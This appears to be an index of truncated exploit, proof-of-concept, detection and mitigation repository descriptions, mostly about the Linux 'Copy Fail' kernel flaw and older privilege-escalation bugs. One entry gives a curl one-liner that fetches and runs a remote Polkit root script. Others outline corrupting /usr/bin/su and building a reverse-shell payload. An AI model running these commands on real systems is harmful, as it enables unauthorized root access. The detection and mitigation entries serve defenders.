CVE-2026-31431-copy-fail

CVE-2026-31431 Copy Fail Exploit Part 1: Theoretical Concept How CVE-2026-31431 Works Instead of the system constantly fetching files directly from the slow physical hard disk—which wastes a lot of time the Linux system creates a temporary copy of the file inside RAM, known as the Page Cache. Thi...

CVE-2026-40369-EXPLOIT

Blog completo - https://pwn2nimron.com/blog CVE-2026-40369: Incremento de Dirección de Kernel Arbitrario a través de NtQuerySystemInformation Clase 253 Resumen Tipo: Escritura de kernel arbitraria incremento — PRIMITIVA DE ESCALACIÓN DE PRIVILEGIOS Componente: ntoskrnl.exe —...

rosenbridge

project:rosenbridge : hardware backdoors in x86 CPUs github.com/xoreaxeaxeax/rosenbridge // domas // @xoreaxeaxeax Overview project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and embedded x86 processors. The backdoor allows ring 3 userland code to circumvent processor...

CVE-2022-0847-Docker

Dirty Pipe CVE-2022-0847: A Hands-On Exploit Demonstration in Docker This repository provides a self-contained, interactive Docker environment to safely demonstrate and analyze the "Dirty Pipe" privilege escalation vulnerability. It is designed as an educational tool for security professionals to...

Dirty-Pipe-Exploit

Dirty-Pipe-Exploit The Dirty Pipe exploit CVE-2022-0847 is a Linux kernel vulnerability v5.8+ allowing unprivileged attackers to overwrite arbitrary files via a flaw in the pipe mechanism. This leads to privilege escalation, granting root access. Similar to Dirty Cow but easier to exploit. Fix:...

CVE-2025-32463

Referenz: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot Die Ausführung des PoC auf einem Ubuntu 24.04.2 LTS-Server mit Sudo v1.9.15p5 durch einen unprivilegierten Benutzer ohne definierte Sudo-Regeln führt zu einer Root-Shell außerhalb der Chroot-Umgebung...

copyfail-mitigation

CVE-2026-31431 — Copy Fail Linux Kernelalgifaead Privilege Escalation / Memory Corruption Ansible-based audit and mitigation playbooks — ready to run in production Overview Copy Fail CVE-2026-31431 is a vulnerability in the Linux kernel's algifaead module — the userspace-facing AEAD interface of...

CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC Trivial unprivileged LPE by writing 4 controlled bytes into the page cache of any readable file via a logic bug in AFALG kernel 4.14 → early 2026. Corrupt /usr/bin/su in-memory, then run it → root. Build & Run root@kitploit: 1. Generate an ELF payload reverse shel...

cve-2026-31431-ansible

CVE-2026-31431 "Copy Fail" — Ansible Mitigation Recipe Detect and apply the kernel-cmdline mitigation for CVE-2026-31431 "Copy Fail" across a Debian / Ubuntu / RHEL-family fleet using Ansible. The CVE is a local privilege-escalation flaw in the Linux kernel's algifaead AFALG interface. Any...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail xpl0ited by infrar3d This repository contains a proof‑of‑concept exploit for CVE-2026-31431 Copy Fail. CVE-2026-31431, known as "Copy Fail", is a high-severity Local Privilege Escalation LPE flaw in the Linux kernel that has been present for nearly a decade. It allows an...

CVE-2026-2636_PoC

CVE-2026-2636: CLFS.sys Unrecoverable State Leading to BSoD Overview CVE-2026-2636 is a vulnerability in the Windows Common Log File System CLFS driver CLFS.sys. An unprivileged user can trigger an unrecoverable system state by calling the ReadFile API on a handle opened via CreateLogFile. This...

CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script

CVE-2026-31431 — Copy Fail — Vulnerability Detection Script Detection only. A working PoC already exists at copy.fail/exploit. This script is for sysadmins and security teams determining where they are vulnerable — or still vulnerable after patching. What's this about? On April 29th 2026, a...

cve-2022-0185-crash-poc

Container running cve-2022-0185 crash POC This is a docker container that runs the crash POC from https://www.willsroot.io/2022/01/cve-2022-0185.html. The container runs unprivileged as UID 65534. You can also use docker run -u or set a security context with RunAsUser additionally, all should yie...

CVE-2026-41651

CVE-2026-41651 — PackageKit TOCTOU Local Privilege Escalation Classification: Purple Team Assessment Artifact Authorized use only. This document and the accompanying test script are intended solely for internal security validation on systems where written authorization has been obtained. Proof of...

cve-2026-31431

CVE-2026-31431 „Copy Fail“ – Schwachstelle zur Beschädigung des Page Cache Beschädigung des Linux-Kernel-Page-Cache durch Manipulation von authencesn AEAD. ⚠️ WICHTIG: Update zum Exploit-Status 1. Mai 2026 Nach umfangreichen Tests auf mehreren OpenShift-4.20.16-Clustern mit RHEL-9.6-Kerneln: ✅...

GeoServer Demo Request Endpoint - Server Side Request Forgery

It is possible to achieve Server Side Request Forgery SSRF via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit Du kannst mit einem einzigen Befehl Root auf Systemen erlangen, die anfällig für Polkit CVE-2021-3560 sind, indem du Folgendes eingibst: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Oder du kannst die .sh...

ubuntu-cve-2026-31431-mitigation

Complete Guide to Updating the Kernel and kmod in Ubuntu to Fix Security Vulnerabilities CVE CVE-2026-31431 This vulnerability, also known as Copy Fail, is a logic bug in the Linux kernel that occurs in the AFALG / algifaead path. According to the discloser, an unprivileged local user can cause t...

copy-fail-CVE-2026-31431-detection-probe

Suíte de Sondagem LPE do Kernel Linux — Copy Fail & Dirty Frag Ferramenta de detecção segura para duas famílias de vulnerabilidades de elevação de privilégio local no kernel Linux — Copy Fail CVE-2026-31431 e Dirty Frag CVE-2026-43284 / CVE-2026-43500 — ambas afetando todas as principais...

CVE-2021-3493

CVE-2021-3493 Ubuntu OverlayFS 本地权限提升 描述 "Ubuntu 特有的问题，存在于 Linux 内核的 overlayfs 文件系统中，它未能正确验证文件系统能力在用户命名空间中的应用。本地攻击者可以利用此漏洞获取更高权限，原因是 Ubuntu 携带了一个允许非特权 overlayfs 挂载的补丁。" - Ubuntu 安全公告 已在 Linux 5.11 中修复 受影响版本 Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 19.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu...